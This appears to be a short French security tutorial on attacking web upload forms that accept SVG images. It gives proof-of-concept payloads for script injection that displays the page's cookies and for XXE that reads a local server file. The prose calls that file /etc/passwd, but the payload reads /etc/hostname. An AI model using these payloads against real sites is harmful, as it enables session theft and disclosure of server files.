Bypass de protection via les fichiers SVG

Les fichiers .svg sont des fichiers images basés sur du XML. Etant donné que ce ne sont que des images, il est assez rare de voir cette extension blacklisté ou même considérés sur les applications web. Pourtant il existe tout un tas de vecteurs d'attaques liés à ce format d'image.

Partons du postulat qu'il existe un formulaire d'upload de photo de profile qui n'empêche pas l'upload de fichier .svg. Il serait assez simple d'uploader une image svg malveillante dans laquelle serait caché du code JavaScript:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.cookie);
  </script>
</svg>

Ce qui, une fois uploadé se traduirait par:

xsssvg.png

Encore mieux, il sera possible d'exploiter toute sorte de XXE. Par exemple avec le payload suivant nous pourrons récupérer le contenu du fichier /etc/passwd:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Ainsi même un formulaire bien sécurisé pourrait toujours vous permettre d'exploiter quelques vecteurs d'attaque!